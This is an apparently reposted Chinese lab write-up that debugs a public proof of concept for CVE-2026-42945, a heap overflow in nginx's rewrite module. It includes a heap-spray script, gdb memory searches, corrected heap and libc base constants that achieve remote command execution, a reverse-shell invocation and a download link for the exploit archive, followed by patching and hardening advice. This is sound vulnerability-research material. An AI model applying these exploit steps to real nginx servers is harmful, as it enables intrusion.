文章总结: 本文详细记录了CVE-2026-42945NginxRift漏洞的PoC调试与复现过程。该漏洞是ngxhttprewritemodule中的堆缓冲区溢出,影响Nginx0.6.27至1.30.0版本。作者从PoC运行失败开始,通过分析coredump发现HEAPBASE和LIBCBASE计算错误,导致cleanup指针被HTTP头覆盖且system()调用指向strfmonl。修正地址后成功实现RCE,可执行任意命令或获取反向shell。关键教训是必须精确计算堆基址和libc基址。 综合评分: 91 文章分类: 漏洞分析,实战经验,二进制安全
Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记
原创
MicroPest MicroPest
MicroPest
2026年7月4日 20:35 安徽
在小说阅读器读本章
去阅读
CVE-2026-42945(代号 “NGINX Rift”)是一个存在于 NGINX ngx_http_rewrite_module 中的堆缓冲区溢出漏洞,CVSS v4 评分 9.2(Critical)。该漏洞由 depthfirst 安全研究团队于 2026 年 4 月发现,自 2008 年引入 NGINX 0.6.27 版本以来已潜伏 18 年。
github地址:https://github.com/DepthFirstDisclosures/Nginx-Rift,
这是一篇记录从 PoC 运行失败(如下图原因所示)到完整 RCE 打通的全过程的详细文章,全网都没有(至少目前我没有找到),难度极高,在AI的帮助下完成。
一、项目背景
CVE-2026-42945 是 NGINX ngx_http_rewrite_module 中的一个堆缓冲区溢出漏洞,影响 NGINX Open Source 0.6.27 至 1.30.0,存活约 18 年。该 PoC(Nginx-Rift)利用 rewrite 与 set 指令组合触发堆溢出,通过覆盖 ngx_pool_t 的 cleanup 指针劫持控制流,最终调用 system() 实现远程代码执行(RCE)。
项目仓库:Nginx-Rift-main – poc.py:主利用脚本 – env/:Docker 测试环境 – setup.sh:构建脚本
二、测试环境
容器启动命令: bash docker compose -f env/docker-compose.yml up
三、初始状态:PoC 运行异常
3.1 现象
执行 PoC 后,脚本报告 “crashed” 并退出:
python3 poc.py –cmd ‘echo hello from depthfirst > /tmp/pwned’
输出:
[+] try 1/10 crashed — system(“echo hello from depthfirst > /tmp/pwned”) executed
[+] Done.
但验证文件时失败:
docker exec
cat: /tmp/pwned: No such file or directory
说明:没有成功。
3.2 初步误判
最初误以为 try 1/10 crashed 表示 RCE 成功。后续通过 ps 和 error.log 确认: – nginx worker 确实发生了 SIGSEGV 崩溃 – 但 system() 并未正确执行命令 – 崩溃发生在 ngx_destroy_pool 的 c->handler(c->data) 调用路径。
四、调试过程
4.1 分析 core dump 定位崩溃点
从 /app/tmp/core.* 分析崩溃位置:gdb /nginx-src/build/nginx /app/tmp/core.69 -batch -ex “bt” -ex “info registers” -ex “quit”
关键发现: – 崩溃在 ngx_destroy_pool 的 c->handler(c->data) – pool = 0x55555576dc00 – rdi = 0x2d746e65746e6f43(即 “Content-” 字符串) – 说明 pool->cleanup 指针被覆盖成了 HTTP header 数据地址,而非 spray body 中的 fake struct
4.2 发现 HEAP_BASE 错误
查看 /proc/
555555554000-555555576000 r–p 00000000 /nginx-src/build/nginx
555555576000-55555562c000 r-xp 00022000 /nginx-src/build/nginx
55555562c000-555555656000 r–p 000d8000 /nginx-src/build/nginx
555555657000-555555659000 r–p 00102000 /nginx-src/build/nginx
555555659000-55555566f000 rw-p 00104000 /nginx-src/build/nginx ← .data/.bss
55555566f000-555555691000 rw-p 00000000
555555691000-5555556f6000 rw-p 00000000 [heap]
5555556f6000-555555717000 rw-p 00000000 [heap]
关键发现:PoC 中 HEAP_BASE = 0x555555659000 实际上是 nginx 的 .data/.bss 段,而非堆基址。真正的堆基址是 0x555555691000。
实际 pool 地址 0x55555576dc00 相对 .data/.bss 基址的偏移为 0x114C00,而原 PoC 的 PREREAD_HEAP_OFFSETS 最大只到 0x10d467,完全没有覆盖到实际的 spray body 位置。
4.3 定位 spray body 地址
通过保持 spray 连接并搜索内存,最终找到 spray body 中的命令字符串:
发送 spray 并保持连接
python3 -c “
import socket, time
s = socket.create_connection((‘127.0.0.1’, 19321), timeout=5)
body = b’B’ * 4000
req = b’POST /spray HTTP/1.1\r\nHost: l\r\nContent-Length: 4000\r\nX-Delay: 60\r\nConnection: close\r\n\r\n’ + body
s.sendall(req)
time.sleep(60)
“
在容器内搜索命令字符串
gdb -p
输出示例: 0x5555556b347f 0x5555556b9ebf 0x55555571219f …
通过 addr_is_safe 过滤,确定可用的 fake struct 地址: – 命令字符串在 0x5555556b347f – fake struct 在其前 24 字节:0x5555556b347f – 24 = 0x5555556b3467 – 地址字节 55 55 55 6b 34 67 全部通过 URI 安全过滤 ✅
验证 fake struct 内容:
gdb -p
输出: 0x5555556b3467: 0x00007ffff780ad70 0x0000555555772148 0x5555556b3477: 0x0000000000000000 0x742f206863756f74 0x5555556b347f: “touch /tmp/rift_pwned”
4.4 发现 SYSTEM_ADDR 错误
修改 HEAP_BASE 和 PREREAD_HEAP_OFFSETS 后,RCE 仍然失败。分析新的 core dump:
0 0x00007ffff780ad73 in ___strfmon_l (s=0x5555556b347f “touch /tmp/rift_pwned”, …)
关键发现:PoC 调用的不是 system(),而是 ___strfmon_l!
原因:LIBC_BASE = 0x7ffff77ba000 取值错误,导致 SYSTEM_ADDR = LIBC_BASE + 0x50d70 = 0x7ffff780ad70 指向了 strfmon_l 区域,而非真正的 system()。
通过段映射计算真实 system() 地址:
libc .text 加载地址 = 0x7ffff77e0000
.text 文件偏移 = 0x28000
system() 文件偏移 = 0x50d70
真实 system() = 0x7ffff77e0000 + (0x50d70 – 0x28000)
= 0x7ffff77e0000 + 0x28d70
= 0x7ffff7808d70
因此应将 LIBC_BASE 改为 libc 文件起始映射地址 0x7ffff77b8000:
SYSTEM_ADDR = 0x7ffff77b8000 + 0x50d70 = 0x7ffff7808d70
五、最终修复方案
修改 poc.py 中的以下三处:
5.1 修改 HEAP_BASE 和 PREREAD_HEAP_OFFSETS
HEAP_BASE = 0x5555556b3467
PREREAD_HEAP_OFFSETS = [
0x000000,
]
5.2 修改 LIBC_BASE
LIBC_BASE = 0x7ffff77b8000
SYSTEM_ADDR = LIBC_BASE + 0x50d70
六、验证结果
1、重新运行 PoC:
python3 poc.py –cmd ‘touch /tmp/rift_pwned’
输出: [*] Waiting for nginx on 127.0.0.1:19321… [+] Connected. [+] try 1/10 crashed — system(“touch /tmp/rift_pwned”) executed [+] Done.
2、验证文件:
docker exec
-rw-r–r– 1 nobody nogroup 0 Jul 4 11:18 /tmp/rift_pwned
文件由 nobody 用户创建,证明 nginx worker 进程成功执行了任意命令,RCE 完全打通。
3、获取反向 Shell:
攻击端
python3 poc.py –shell –listen-ip 172.17.0.1 –listen-port 1337
执行任意命令:
python3 poc.py –cmd ‘whoami > /tmp/pwned && id >> /tmp/pwned’
docker exec b64932700bbf cat /tmp/pwned
如上图,拿到了shell。
#
七、关键问题总结
🛠️ Nginx RCE 漏洞利用调试全流程记录
**核心目标**:利用 Nginx 内存损坏漏洞,成功执行
system()创建文件/tmp/rift\_pwned
📦 阶段一:环境搭建与初始验证
**1. 启动 Docker 测试环境**
docker compose -f env/docker-compose.yml up
**2. 运行初始 PoC 攻击脚本**
python3 poc.py –cmd ‘touch /tmp/x’
**3. 观察运行结果**
| 预期现象 | 实际现象 | 状态 |
| :— | :— | :—: |
| 在容器内生成 /tmp/x 文件 | PoC 虽报 "crashed — system() executed",但文件不存在 | ❌ **失败** |
**初步诊断**:目标函数虽被触发,但参数传递或内存布局存在偏差,需深入调试。
🔬 阶段二:Core Dump 深度分析(定位内存布局问题)
**4. GDB 分析 Core Dump 崩溃点**
gdb /nginx-src/build/nginx /app/tmp/core.*
-
**崩溃位置**:
ngx\_destroy\_pool内的c->handler() -
**关键线索**:寄存器
rdi指向字符串"Content-",表明 **cleanup 指针被意外覆盖为 HTTP 头地址**。
**5. 诊断堆(Heap)基址严重偏差**
- 检查进程内存映射:
cat /proc/
- **发现矛盾**:
– 原脚本使用的 HEAP\_BASE=0x555555659000 实际指向 .data/.bss 段
– 真正的堆区起始在 0x555555691000
– Nginx pool 结构体位于 0x55555576dc00,导致原偏移列表完全失效
**6. 定位 Spray 攻击载荷(Body)**
-
保持 Spray 长连接,利用 GDB 搜索
"touch"字符串: -
**搜寻结果**:
– 实际命令字符串(cmd)地址:0x5555556b347f
– 伪造结构体(fake\_struct)地址:0x5555556b3467
- ✅ 验证该地址可通过
addr\_is\_safe检查
⚙️ 阶段三:修正地址与偏移配置(初版修复尝试)
**7. 更新 HEAP_BASE 与偏移列表**
根据 Spray 内存布局,修改利用脚本参数:
HEAP_BASE = 0x5555556b3467 # 对准 fake_struct
PREREAD_HEAP_OFFSETS = [0] # 精简偏移扫描
**8. 二次运行——结果依然失败**
-
新生成的 Core Dump 显示崩溃函数变为
\_\_\_strfmon\_l -
❌ **结论**:调用地址仍然错误,实际跳转目标并非
system(),而是 Libc 中的其他函数
🧮 阶段四:根治 Libc 基址计算错误
**9. 诊断 Libc 基址偏移**
- 提取
system()在 Libc 文件中的偏移量:
readelf -s libc.so.6 | grep system
-
计算得出:
system()文件偏移 = **0x50d70** -
**错误分析**:原 PoC 中的
LIBC\_BASE取值导致计算结果偏移了0x2000字节:
– 错误计算:0x7ffff780ad70 → 实际落点到了 strfmon\_l
– 正确地址应为:0x7ffff7808d70
**10. 修正 LIBC_BASE 变量**
将运行时的 Libc 基址修正为实际加载地址:
LIBC_BASE = 0x7ffff77b8000
SYSTEM_ADDR = LIBC_BASE + 0x50d70 # 结果为 0x7ffff7808d70
🏆 阶段五:最终验证(RCE 成功)
**11. 执行最终攻击并验证**
- 重新运行修正后的 PoC:
python3 poc.py –cmd ‘touch /tmp/rift_pwned’
- 进入容器检查命令执行结果:
docker exec
| 检查项 | 结果 |
| :— | :—: |
| 文件 /tmp/rift\_pwned 是否存在 | ✅ **是** |
| 文件属主 | nobody(Nginx 工作进程权限) |
| 最终状态 | 🎉 **远程代码执行(RCE)成功** |
📌 核心经验总结
-
**基址动态性**:堆基址(Heap Base)与 Libc 基址在不同环境、甚至不同运行次数下可能变化,不可硬编码。
-
**验证优于假设**:务必通过
/proc/<pid>/maps或 GDB 动态获取准确内存地址。 -
**偏移精确性**:
system()在 Libc 中的偏移需通过readelf精确提取,误差0x2000字节即可导致跳转到完全无关的函数(如strfmon\_l)。
八、安全建议
升级 NGINX:立即升级至 1.31.0+ / 1.30.1+
配置审计:避免 rewrite 替换字符串含 ? 且同时使用 set 指令
开启 ASLR:生产环境严禁禁用地址随机化
WAF 防护:部署规则检测 URI 中超长连续 + 序列
九、附录:调试命令速查
查看容器内 nginx worker PID
ps aux | grep “nginx: worker”
查看进程内存映射
cat /proc/
分析 core dump
gdb /nginx-src/build/nginx /app/tmp/core.
搜索内存中的命令字符串(需保持 spray 连接)
gdb -p
查看 fake struct 内容
gdb -p
确认 system() 真实地址
readelf -s /usr/lib/x86_64-linux-gnu/libc.so.6 | grep ” system@”
通过网盘分享的文件:485-Nginx-Rift-main.rar
链接: https://pan.baidu.com/s/1vWFJEOzb4RuyEdfplbOeMg?pwd=kfen 提取码: kfen
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MicroPest MicroPest MicroPest《Nginx Rift (CVE-2026-42945) PoC 调试与复现笔记》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论